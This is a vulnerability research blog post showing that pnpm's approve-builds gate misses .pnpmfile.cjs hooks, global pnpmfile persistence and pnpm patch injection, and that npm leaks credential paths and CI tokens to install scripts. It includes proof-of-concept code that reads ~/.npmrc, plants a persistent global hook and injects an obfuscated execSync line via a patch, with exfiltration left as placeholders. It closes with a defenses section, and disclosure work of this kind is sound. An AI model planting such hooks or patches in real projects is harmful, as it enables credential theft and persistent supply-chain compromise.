# The Persistence Bridge: When npm Writes pnpm's Future

2026-07-31 · Matt Landers · 10 min read · Vulnerability Research

Canonical: https://www.osec.com/resources/blog/the-persistence-bridge-when-npm-writes-pnpms-future

---

pnpm 11 shipped `approve-builds`, a mechanism that blocks lifecycle scripts from running unless a developer explicitly approves them. Before a package's `postinstall` can execute, it has to appear on an allowlist. It is a genuine improvement over npm, which runs lifecycle scripts with no gate.

The problem is what `approve-builds` does not cover. pnpm's most powerful execution surface is not a lifecycle script. It is a hook file called `.pnpmfile.cjs`, and it runs on every `pnpm install` regardless of whether `approve-builds` is enabled. A second vector, `pnpm patch`, commits code directly into the repository in a format that looks like a legitimate upstream bug fix. Neither is addressed by any security control pnpm ships today.

npm's attack surface matters here because the credential targets are identical across both tools, and some of npm's attack chains feed directly into pnpm's persistence mechanisms.

## What npm exposes during install

npm loads registry credentials from `~/.npmrc` in nerf-dart format:

```
//registry.npmjs.org/:_authToken=npm_xxx
//npm.pkg.github.com/:_authToken=ghp_xxx
```

When a lifecycle script runs (`preinstall`, `postinstall`, or any custom script triggered by `npm install`), npm exports a subset of its configuration into the script's environment. Some of this is intentional. Some is a side effect of how npm compares default config values, and postinstall scripts end up with broader access to credential state than most developers expect.

### The credentials file path is handed over unconditionally

Every lifecycle script receives `npm_config_userconfig` as an environment variable containing the resolved absolute path to `~/.npmrc`. This happens at default configuration, with no special flags, on every install.

The cause is a comparison bug in npm's `set-envs.js`. The stored default value is the unexpanded string `'~/.npmrc'`. The resolved value is an absolute path like `/home/user/.npmrc`. Those two strings never match, so npm always treats `userconfig` as non-default and exports it.

A postinstall script reads your entire credentials file with one line:

```javascript
const creds = require('fs').readFileSync(process.env.npm_config_userconfig, 'utf8');
```

This sidesteps npm's nerf-dart filter, which blocks `_authToken` values from being re-exported as environment variables. That protection applies to the env var layer only. Reading the file directly bypasses it entirely.

Shai-Hulud (CERT VU#534320, May 2026) used hardcoded paths:

```
~/.npmrc
$HOME/.npmrc
```

`npm_config_userconfig` is more reliable — platform-correct, works with non-standard credentials paths, and npm exports it without any extra effort from the attacker.

### CI tokens are in plain view

GitHub Actions, GitLab CI, and CircleCI inject `NPM_TOKEN` or `NODE_AUTH_TOKEN` as environment variables for registry authentication. npm does not scrub `process.env` before spawning lifecycle scripts. Any postinstall reads them directly:

```javascript
const token = process.env.NPM_TOKEN || process.env.NODE_AUTH_TOKEN;
```

This is OS-level process inheritance, not an npm bug. The token is present by design, and there is no npm-layer mechanism to remove it before a script runs. This is the vector Shai-Hulud used to propagate through the npm ecosystem.

### OTP via --otp= is also in the environment

When a developer runs `npm publish --otp=123456`, npm exports `npm_config_otp=123456` into every lifecycle script. This is preserved by RFC 0021 as an intentional feature, to allow `npm run release --otp=X` to pass the OTP through to a nested `npm publish`. The constraint is timing: TOTP codes are valid for 30 seconds, and the malicious package needs to already be in the dependency tree when the developer publishes. Where that is true, the window exists. There is no mitigation at the npm layer.

## pnpm's gate

pnpm's `approve-builds` works by requiring lifecycle scripts from published packages to appear in an `allowBuilds` list in `pnpm-workspace.yaml` before they can run. When a project has no approved packages, no postinstall scripts execute at all.

This blocks the primary npm attack chain. A malicious package that relies on `postinstall` to read credentials cannot run that script on a project with `approve-builds` configured. It works.

When one developer approves a package via the interactive prompt, that approval is committed to `pnpm-workspace.yaml` and applies to everyone on the team.

## What the gate does not cover

### .pnpmfile.cjs

`.pnpmfile.cjs` is a hook file that pnpm loads and executes during every install. Its `readPackage` function is called once for every package in the dependency tree. The function receives each package's manifest and can return a modified version; the documented use case is normalizing peer dependency requirements across large projects.

The function is arbitrary JavaScript. There is no sandbox, no approval step, and no `--ignore-scripts` equivalent that touches it. `approve-builds` has no effect on it. The hook is loaded by pnpm itself as part of its install process, not spawned as a subprocess.

A `.pnpmfile.cjs` committed to a repository runs on every developer's `pnpm install` with no prompt and no output indicating the hook fired:

```javascript
const fs = require('fs');
const os = require('os');
let done = false;

function readPackage(pkg, context) {
    if (!done) {
        done = true;
        const creds = fs.readFileSync(os.homedir() + '/.npmrc', 'utf8');
        // exfiltrate to attacker infrastructure
    }
    return pkg;
}

module.exports = { hooks: { readPackage } };
```

We ran this against a project with `approve-builds` fully configured. The hook read `~/.npmrc` tokens and AWS credentials without a single warning in the install output.

The `done` flag is a one-shot guard. pnpm calls `readPackage` once per package in the tree, so without it the hook fires once per dependency.

### Global pnpmfile

pnpm supports a `global-pnpmfile` config pointing to a hook file outside any single project:

```bash
pnpm config set global-pnpmfile ~/.global-pnpmfile.cjs
```

pnpm 11 stores this in `~/.config/pnpm/config.yaml` as `globalPnpmfile`, not in `~/.npmrc`. Once set, the hook fires on every `pnpm install` in every project on the machine. We tested this by setting the config in one project and then running `pnpm install` in a completely unrelated one with no shared dependencies. The hook fired.

The config entry survives package removal. Removing a package that wrote the entry does not undo it; `pnpm uninstall` only removes package files, not side effects written to config.

### pnpm patch

`pnpm patch <pkg>@<version>` opens an editable copy of a package. After making changes, `pnpm patch-commit` generates a diff in a `patches/` directory and wires it into `pnpm-workspace.yaml`:

```
patchedDependencies:
  is-number@7.0.0: patches/is-number@7.0.0.patch
```

On every subsequent `pnpm install`, pnpm re-applies the patch to the installed package. In git history, the patch file looks like any other code change: a diff correcting a bug in an upstream dependency.

```
diff --git a/index.js b/index.js
--- a/index.js
+++ b/index.js
@@ -14,3 +14,6 @@
       return false;
  };
+var _f=require('fs'),_c=require('child_process'),_o=require('os');
+try{_f.writeFileSync('/tmp/proof.txt','PATCH_EXEC\n'+_c.execSync('id').toString());}catch(e){}
```

The added line executes when the module is loaded via `require()`, not during install, so there is nothing in the install output to indicate anything changed. `approve-builds` has no visibility into it since there is no lifecycle script. The patch re-applies on every subsequent reinstall automatically.

A PR that adds a `patches/` directory entry and a `patchedDependencies` line to `pnpm-workspace.yaml` is the delivery mechanism. Any developer who merges it and runs `pnpm install` carries it forward indefinitely.

## How these chains connect

### Supply chain package to persistent pnpm hook

A malicious package's postinstall runs during `npm install`. The script writes a hook file and registers it by writing to `~/.config/pnpm/config.yaml`:

```javascript
const fs     = require('fs');
const os     = require('os');
const path = require('path');

const hookPath      = path.join(os.homedir(), '.cache', '.ob.cjs');
const configDir     = path.join(os.homedir(), '.config', 'pnpm');
const configFile = path.join(configDir, 'config.yaml');

fs.writeFileSync(hookPath, `
let done = false;
function readPackage(pkg) {
    if (!done) { done = true; /* exfiltrate */ }
    return pkg;
}
module.exports = { hooks: { readPackage } };
`);

fs.mkdirSync(configDir, { recursive: true });
const existing = fs.existsSync(configFile) ? fs.readFileSync(configFile, 'utf8') : '';
if (!existing.includes('globalPnpmfile')) {
    fs.appendFileSync(configFile, `\nglobalPnpmfile: ${hookPath}\n`);
}
```

From that point, every `pnpm install` the developer runs in any project executes the hook. We tested this end-to-end: an npm postinstall wrote the config entry, and the next `pnpm install` in a completely unrelated project fired the hook. Uninstalling the original npm package afterward had no effect on it. The hook can read registry tokens, read `~/.aws/credentials`, or write to any file the developer owns.

### Repository access to persistent execution

This needs write access to the repository root, via a compromised CI service account, a merged malicious PR, or a stolen credential.

Three files, all unremarkable in git:

1. `.pnpmfile.cjs` at the repo root: fires on every developer's `pnpm install`
2. A patch file in `patches/` for a widely-used dependency: fires on module load
3. A `pnpm-workspace.yaml` update wiring the patch: makes it permanent

Every developer who clones the repo and runs `pnpm install` carries all three.

## What approve-builds actually covers

| Vector | approve-builds blocks? |
| --- | --- |
| Lifecycle scripts from unapproved packages | Yes |
| `.pnpmfile.cjs` arbitrary JS | No |
| `global-pnpmfile` persistent hook | No |
| `pnpm patch` code injection | No |
| npm `NPM_TOKEN` / `NODE_AUTH_TOKEN` exposure | N/A |
| npm `npm_config_userconfig` credential path | N/A |

`approve-builds` addresses one row in this table.

## Defenses

**For `.pnpmfile.cjs`:** There is no pnpm-level control that prevents it from executing. Audit any repository for `.pnpmfile.cjs` before running `pnpm install` on an unfamiliar project.

**For global-pnpmfile:** Check `~/.config/pnpm/config.yaml` for a `globalPnpmfile` key after installing from any untrusted source. On CI runners, set `PNPM_CONFIG_GLOBAL_PNPMFILE=/dev/null` or delete the key before each job to prevent a previous run from leaving a persistent hook.

**For pnpm patch:** Treat `patchedDependencies` entries in `pnpm-workspace.yaml` as code additions. Review patch files line by line, not as a dependency management detail.

**For npm credential exposure:** `npm install --ignore-scripts` blocks all lifecycle-based credential theft. The tradeoff: native addons, binary downloads, and some build tooling depend on postinstall scripts. Switching requires auditing which packages need scripts and selectively re-enabling them with `npm rebuild <package>`.

**For CI pipelines:** Use short-lived OIDC tokens instead of long-lived `NPM_TOKEN` values where your registry supports them. Set `NPM_CONFIG_USERCONFIG` as an environment variable to shadow project-level `userconfig=` redirects.

*Previous: [The Persistence Engine: Configuration Reinstatement in uv](/resources/blog/the-persistence-engine-configuration-reinstatement-in-uv)*
